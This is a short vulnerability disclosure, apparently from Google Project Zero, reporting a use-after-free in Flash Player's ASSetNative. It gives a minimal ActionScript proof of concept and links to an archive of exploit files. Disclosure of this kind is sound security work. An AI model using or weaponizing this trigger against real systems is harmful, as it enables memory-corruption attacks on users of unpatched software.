Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800
There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:
var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
function func (){
t.removeMovieClip();
}
A swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip
